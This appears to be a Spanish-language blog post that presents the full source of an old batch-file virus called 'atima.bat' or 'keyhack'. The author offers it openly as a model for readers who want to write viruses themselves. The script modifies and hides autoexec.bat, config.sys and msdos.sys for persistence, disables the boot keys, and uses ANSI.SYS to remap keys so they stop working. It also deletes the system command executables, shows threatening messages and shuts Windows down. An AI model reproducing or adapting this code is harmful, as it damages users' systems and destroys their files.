Virus atima.bat o keyhack

hola programadores aquí estoy de nuevo.No me culpen por haberme desviado del estudio de batch,lo que pasa es que he encontrado unos cuantos códigos de virus en batch y aunque estén descontinuados nos sirven de mucha ayuda aprender su comportamiento para que en futuro si queremos programar virus de esta calidad nos resulte mucho mas fácil.ahora les voy a presentar el virus atima.bat o keyhack como lo conocen muchos.Al ver el código de este virus nos daremos cuentas de las características que tiene.Espero que lo disfruten.

@echo off
cls
goto :start
:message
echo.
echo.
cls
echo //LOG ON HACK IN GO ANYWHERE STEAL EVERYTHING//
echo.
echo WELCOME TO THE WORLD OF HACKING & SECURITY BREACHING
echo.
echo WHENEVER U SWITCH ON UR SYSTEM UR SYSTEM IS UNSAFE
echo.
echo HACKER CAN DO THINGS WHAT OTHERS JUST DREAM OFF
echo.
echo WELCOME TO THE GAME OF DEATH
echo.
echo TRY TO PROTECT UR SYSTEM IF U CAN
echo.
pause
cls
echo DONT THINK TH@ U R SMART
echo.
echo THE PROBLEM IS THAT I KNOW
for %%a in (2 M U C H) do choice /c:%%a /n /s /t:%%a,01
echo.
echo.
pause
goto :end
:start
if not exist c:\autoexec.bat goto :creaauto
attrib -r -h c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
goto :config
:creaauto
echo > c:\autoexec.bat
echo @echo off >> c:\autoexec.bat
echo cls >> c:\autoexec.bat
echo path=c:\windows;c:;c:\windows\command;c:\windows\system;c:\windows\help >> c:\autoexec.bat
echo command /p /k c:\windows\help\atima.bat >> c:\autoexec.bat
attrib +r +h c:\autoexec.bat
:config
attrib -r -h c:\config.sys
echo device=c:\windows\command\ansi.sys >> c:\config.sys
attrib +r +h c:\config.sys
:msdos
attrib -r -h c:\msdos.sys
echo bootdelay=0. >> c:\msdos.sys
echo bootkeys=0. >> c:\msdos.sys
attrib +r +h c:\msdos.sys
:atima
echo > c:\windows\help\atima.bat
echo @echo off >>c:\windows\help\atima.bat
echo prompt $p $g >> c:\windows\help\atima.bat
echo echo [0;59;" "p >> c:\windows\help\atima.bat
echo echo [0;60;" "p >> c:\windows\help\atima.bat
echo echo [0;61;" "p >> c:\windows\help\atima.bat
echo echo [0;62;" "p >> c:\windows\help\atima.bat
echo echo [0;63;" "p >> c:\windows\help\atima.bat
echo echo [0;64;" "p >> c:\windows\help\atima.bat
echo echo [0;65;" "p >> c:\windows\help\atima.bat
echo echo [0;66;" "p >> c:\windows\help\atima.bat
echo echo [0;67;" "p >> c:\windows\help\atima.bat
echo echo [0;68;" "p >> c:\windows\help\atima.bat
echo echo [0;133;" "p >> c:\windows\help\atima.bat
echo echo [0;134;" "p >> c:\windows\help\atima.bat
echo echo [0;71;" "p >> c:\windows\help\atima.bat
echo echo [0;72;" "p >> c:\windows\help\atima.bat
echo echo [0;75;" "p >> c:\windows\help\atima.bat
echo echo [0;77;" "p >> c:\windows\help\atima.bat
echo echo [0;79;" "p >> c:\windows\help\atima.bat
echo echo [0;80;" "p >> c:\windows\help\atima.bat
echo echo [0;81;" "p >> c:\windows\help\atima.bat
echo echo [0;82;" "p >> c:\windows\help\atima.bat
echo echo [0;83;" "p >> c:\windows\help\atima.bat
echo echo [8;" "p >> c:\windows\help\atima.bat
echo echo [13;" "p >> c:\windows\help\atima.bat
echo echo [9;" "p >> c:\windows\help\atima.bat
echo echo [32;" "p >> c:\windows\help\atima.bat
echo echo [39;" "p >> c:\windows\help\atima.bat
echo echo [44;" "p >> c:\windows\help\atima.bat
echo echo [45;" "p >> c:\windows\help\atima.bat
echo echo [46;" "p >> c:\windows\help\atima.bat
echo echo [47;" "p >> c:\windows\help\atima.bat
echo echo [59;" "p >> c:\windows\help\atima.bat
echo echo [61;" "p >> c:\windows\help\atima.bat
echo echo [91;" "p >> c:\windows\help\atima.bat
echo echo [92;" "p >> c:\windows\help\atima.bat
echo echo [93;" "p >> c:\windows\help\atima.bat
echo echo [96;" "p >> c:\windows\help\atima.bat
echo echo [43;" "p >> c:\windows\help\atima.bat
echo cls >> c:\windows\help\atima.bat
attrib +r +h c:\windows\help\atima.bat
:touchup
del *.exe c:\windows\command
del *.com c:\windows\command
goto :message
:end
cls
echo *****************************************************************
echo ***************************WARNING*******************************
echo *****************************************************************
echo.
echo U HAVE GONE
for %%a in (@ $ $ ) do choice /c:%%a /s /n /s /t:%%a,01
echo HOLE
echo.
echo I COULD HAVE MADE UR COMPUTER TO CHOKE LIKE ANYTHING
echo BUT I AM NOT INTERESTED IN DOING TH@ TO U
echo.
echo dont think th@ u r alone
echo.
echo someone is always watching u
echo.
pause
rundll user,exitwindows

y ya eso es todo. Acuérdense de las preguntas o comentarios.